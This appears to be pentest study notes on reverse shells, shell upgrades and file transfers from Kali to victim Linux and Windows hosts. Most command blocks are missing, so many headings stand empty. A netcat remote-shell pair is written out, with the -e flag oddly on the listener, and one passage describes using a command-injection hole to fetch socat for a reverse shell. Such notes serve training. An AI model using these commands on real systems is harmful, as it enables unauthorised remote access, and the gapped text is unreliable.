Module 16 (File Transfers)

Generating reverse shell commands

attcker machen

nc -nvlp 4444 -e /bin/bash

victim

nc -nv 192.168.x.x 4444

Upgrading the shell

*Linux to Windows

*Windows to Linux

Method 1: Python pty module

One of my go-to commands for a long time after catching a dumb shell was to use Python to spawn a pty. The pty module let’s you spawn a psuedo-terminal that can fool commands like su into thinking they are being executed in a proper terminal. To upgrade a dumb shell, simply run the following command:

Method 2: Using socat

socat is like netcat on steroids and is a very powerfull networking swiss-army knife. Socat can be used to pass full TTY’s over TCP connections.

If socat is installed on the victim server, you can launch a reverse shell with it. You must catch the connection with socat as well to get the full functions.

The following commands will yield a fully interactive TTY reverse shell:

On Kali (listen):

On Victim (launch):

With a command injection vuln, it’s possible to download the correct architecture socat binary to a writable directoy, chmod it, then execute a reverse shell in one line:

Windows File transfer

FTP configurations.

FTPd file commands

#How to run it

#Fixing time out problem Code:

VBScript to download files

Power shell commands to download files

Save this php code into /var/www/html/

This is how to use it

Different methods to setup the server for file transfer

To perform the file transfer we need to setup a server, besides using updog.

wget

We can use the wget command to transfer the file. wget is a powerful command to download files from the web. It should be noted that while doing file transfer using wget in windows, we need to mention the -o (-OutFile) flag in order to save the file. If we do not mention the flag then it will only return it as an object i.e., WebResponseObject. The command for wget in windows is:

curl

Curl is a powerful command-line tool, which can be used to transfer files using various networking protocols. Following will be the command to transfer the file:

To setup a server using PHP, we can use the following command:

To setup a server using python2, we can use the following command:

To setup a server using python3, we can use the following command:

File transfer using Netcat

Netcat, commonly known as nc, is a multifunctional networking tool designed for reading from and writing to network connections over TCP or UDP. Netcat can facilitate file transfers by establishing a simple client-server setup.

To transfer file in the kali machine from an Ubuntu machine we can use the following command inside kali:

Now wSimilarly, we can also receive files from a windows machine inside our kali linux. However, it should be noted that we the target windows machine should have the nc.exe binary to make this method work.

Following is the command we need to run on the windows machine:

To receive the file in the kali machine, we will run the following command:

PSCP (Windows to linux)

Last updated